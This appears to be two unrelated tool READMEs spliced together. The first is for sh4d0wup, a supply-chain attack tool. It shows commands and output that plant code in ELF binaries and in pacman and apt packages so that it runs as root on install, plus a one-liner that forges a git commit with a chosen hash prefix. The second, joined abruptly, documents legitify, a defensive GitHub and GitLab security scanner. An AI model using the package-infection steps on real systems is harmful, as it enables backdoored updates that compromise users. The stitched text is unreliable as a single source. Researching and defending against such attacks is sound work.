% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completion s Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information
Have you ever wondered if the update you downloaded is the same one everybody else gets or did you get a different one that was made just for you? Shadow updates are updates that officially don't exist but carry valid signatures and would get accepted by clients as genuine. This may happen if the signing key is compromised by hackers or if a release engineer with legitimate access turns grimy.
sh4d0wup
is a malicious http/https update server that acts as a reverse proxy in front of a legitimate server and can infect + sign various artifact formats. Attacks are configured in plots
that describe how http request routing works, how artifacts are patched/generated, how they should be signed and with which key. A route can have selectors
so it matches only if eg. the user-agent matches a pattern or if the client is connecting from a specific ip address. For development and testing, mock signing keys/certificates can be generated and marked as trusted.
Some plots are more complex to run than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
This spawns a malicious http update server according to the plot. This also accepts yaml files but they may take longer to start.
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
You can find examples here:
contrib/plot-archlinux.yaml
contrib/plot-debian.yaml
contrib/plot-rustup.yaml
contrib/plot-curl-sh.yaml
sh4d0wup infect elf
% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Intera ct with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information
sh4d0wup infect pacman
% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflic ts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk
sh4d0wup infect deb
% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
ca-certificates
The following packages will be upgraded:
apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: de laying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...
sh4d0wup infect oci
Here's a short oneliner on how to take the latest commit from a git repository, send it to a remote computer that has sh4d0wup installed to tweak it until the commit id starts with the provided --collision-prefix
and then inserts the new commit back into the repository on your local computer:
% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin
This may take some time, eventually it shows a commit id that you can use to create a new branch:
git show 777754fde8...
git branch some-name 777754fde8...
Strengthen the security posture of your GitHub organization!
Detect and remediate misconfigurations, security and compliance issues across all your GitHub assets with ease
ย
git clone git@github.com:Legit-Labs/legitify.git
go run main.go analyze ...
To enhance the software supply chain security of legitify's users, as of v0.1.6, every legitify release contains a SLSA Level 3 Provenacne document.
The provenance document refers to all artifacts in the release, as well as the generated docker image.
You can use SLSA framework's official verifier to verify the provenance.
Example of usage for the darwin_arm64 architecture for the v0.1.6 release:
VERSION=0.1.6
ARCH=darwin_arm64
./slsa-verifier verify-artifact --source-branch main --builder-id 'https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v1.2.2' --source-uri "git+https://github.com/Legit-Labs/legitify" --provenance-path multiple.intoto.jsonl ./legitify_${VERSION}_${ARCH}.tar.gz
-t
) or as an environment variable ($GITHUB_ENV
). The PAT needs the following scopes for full analysis:admin:org, read:enterprise, admin:org_hook, read:org, repo, read:repo_hook
See Creating a Personal Access Token for more information.
Fine-grained personal access tokens are currently not supported because they do not support GitHub's GraphQL (https://github.blog/2022-10-18-introducing-fine-grained-personal-access-tokens-for-github/)
LEGITIFY_TOKEN=<your_token> legitify analyze
By default, legitify will check the policies against all your resources (organizations, repositories, members, actions).
You can control which resources will be analyzed with command-line flags namespace and org:
--namespace (-n)
: will analyze policies that relate to the specified resources--org
: will limit the analysis to the specified organizationsLEGITIFY_TOKEN=<your_token> legitify analyze --org org1,org2 --namespace organization,member
The above command will test organization and member policies against org1 and org2.
You can run legitify against a GitHub Enterprise instance if you set the endpoint URL in the environment variable SERVER_URL
:
export SERVER_URL="https://github.example.com/"
LEGITIFY_TOKEN=<your_token> legitify analyze --org org1,org2 --namespace organization,member
To run legitify against GitLab Cloud set the scm flag to gitlab --scm gitlab
, to run against GitLab Server you need to provide also SERVER_URL:
export SERVER_URL="https://gitlab.example.com/"
LEGITIFY_TOKEN=<your_token> legitify analyze --namespace organization --scm gitlab
Namespaces in legitify are resources that are collected and run against the policies. Currently, the following namespaces are supported:
organization
- organization level policies (e.g., "Two-Factor Authentication Is Not Enforced for the Organization")actions
- organization GitHub Actions policies (e.g., "GitHub Actions Runs Are Not Limited To Verified Actions")member
- organization members policies (e.g., "Stale Admin Found")repository
- repository level policies (e.g., "Code Review By At Least Two Reviewers Is Not Enforced")runner_group
- runner group policies (e.g, "runner can be used by public repositories")By default, legitify will analyze all namespaces. You can limit only to selected ones with the --namespace
flag, and then a comma separated list of the selected namespaces.
By default, legitify will output the results in a human-readable format. This includes the list of policy violations listed by severity, as well as a summary table that is sorted by namespace.
Using the --output-format (-f)
flag, legitify supports outputting the results in the following formats:
human-readable
- Human-readable text (default).json
- Standard JSON.Using the --output-scheme
flag, legitify supports outputting the results in different grouping schemes. Note: --output-format=json
must be specified to output non-default schemes.
flattened
- No grouping; A flat listing of the policies, each with its violations (default).group-by-namespace
- Group the policies by their namespace.group-by-resource
- Group the policies by their resource e.g. specific organization/repository.group-by-severity
- Group the policies by their severity.--output-file
- full path of the output file (default: no output file, prints to stdout).--error-file
- full path of the error logs (default: ./error.log).When outputting in a human-readable format, legitify support the conventional --color[=when]
flag, which has the following options:
auto
- colored output if stdout is a terminal, uncolored otherwise (default).always
- colored output regardless of the output destination.none
- uncolored output regardless of the output destination.--failed-only
flag to filter-out passed/skipped checks from the result.scorecard is an OSSF's open-source project:
Scorecards is an automated tool that assesses a number of important heuristics ("checks") associated with software security and assigns each check a score of 0-10. You can use these scores to understand specific areas to improve in order to strengthen the security posture of your project. You can also assess the risks that dependencies introduce, and make informed decisions about accepting these risks, evaluating alternative solutions, or working with the maintainers to make improvements.
legitify supports running scorecard for all of the organization's repositories, enforcing score policies and showing the results using the --scorecard
flag:
no
- do not run scorecard (default).yes
- run scorecard and employ a policy that alerts on each repo score below 7.0.verbose
- run scorecard, employ a policy that alerts on each repo score below 7.0, and embed its output to legitify's output.legitify runs the following scorecard checks:
Check | Public Repository | Private Repository |
---|---|---|
Security-Policy | V | |
CII-Best-Practices | V | |
Fuzzing | V | |
License | V | |
Signed-Releases | V | |
Branch-Protection | V | V |
Code-Review | V | V |
Contributors | V | V |
Dangerous-Workflow | V | V |
Dependency-Update-Tool | V | V |
Maintained | V | V |
Pinned-Dependencies | V | V |
SAST | V | V |
Token-Permissions | V | V |
Vulnerabilities | V | V |
Webhooks | V | V |
legitify comes with a set of policies in the policies/github
directory. These policies are documented here.
In addition, you can use the --policies-path (-p)
flag to specify a custom directory for OPA policies.
Thank you for considering contributing to Legitify! We encourage and appreciate any kind of contribution. Here are some resources to help you get started: